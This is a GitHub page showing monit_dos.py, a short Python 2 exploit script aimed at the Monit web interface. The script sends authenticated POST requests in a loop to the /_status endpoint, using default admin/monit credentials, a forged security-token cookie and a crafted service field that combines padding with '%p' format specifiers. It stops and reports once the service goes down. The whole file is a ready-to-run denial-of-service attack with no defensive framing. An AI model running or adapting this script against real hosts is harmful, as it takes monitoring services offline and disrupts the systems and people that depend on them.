-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmonit_dos.py
34 lines (28 loc) · 1.17 KB
/
monit_dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import requests
import argparse
import base64
import socket
import random
parser = argparse.ArgumentParser(description='Example: ./monit_dos.py http://127.0.0.1:2812 -username admin -password monit')
parser.add_argument('url', type=str, nargs=1,
help='url to target')
parser.add_argument('-username', type=str, nargs=1, default=['admin'],
help='monit username, defaults to admin')
parser.add_argument('-password', type=str, nargs=1, default=['monit'],
help='monit password, defaults to monit')
args = parser.parse_args()
auth_header = 'Basic ' + base64.b64encode(args.username[0] + ':' + args.password[0])
headers = {'Authorization': auth_header, 'Cookie': 'securitytoken=a'}
data = ('action=exec&service=' + 'a' * 192 + '%p %p %p&securitytoken=a')
while True:
try:
print("[*] Sending request")
r = requests.post(args.url[0] + '/_status', headers=headers,data=data)
except requests.exceptions.RequestException as e:
if "Connection refused" in str(e.message):
print("[*] Service is down")
else:
print e
exit(1)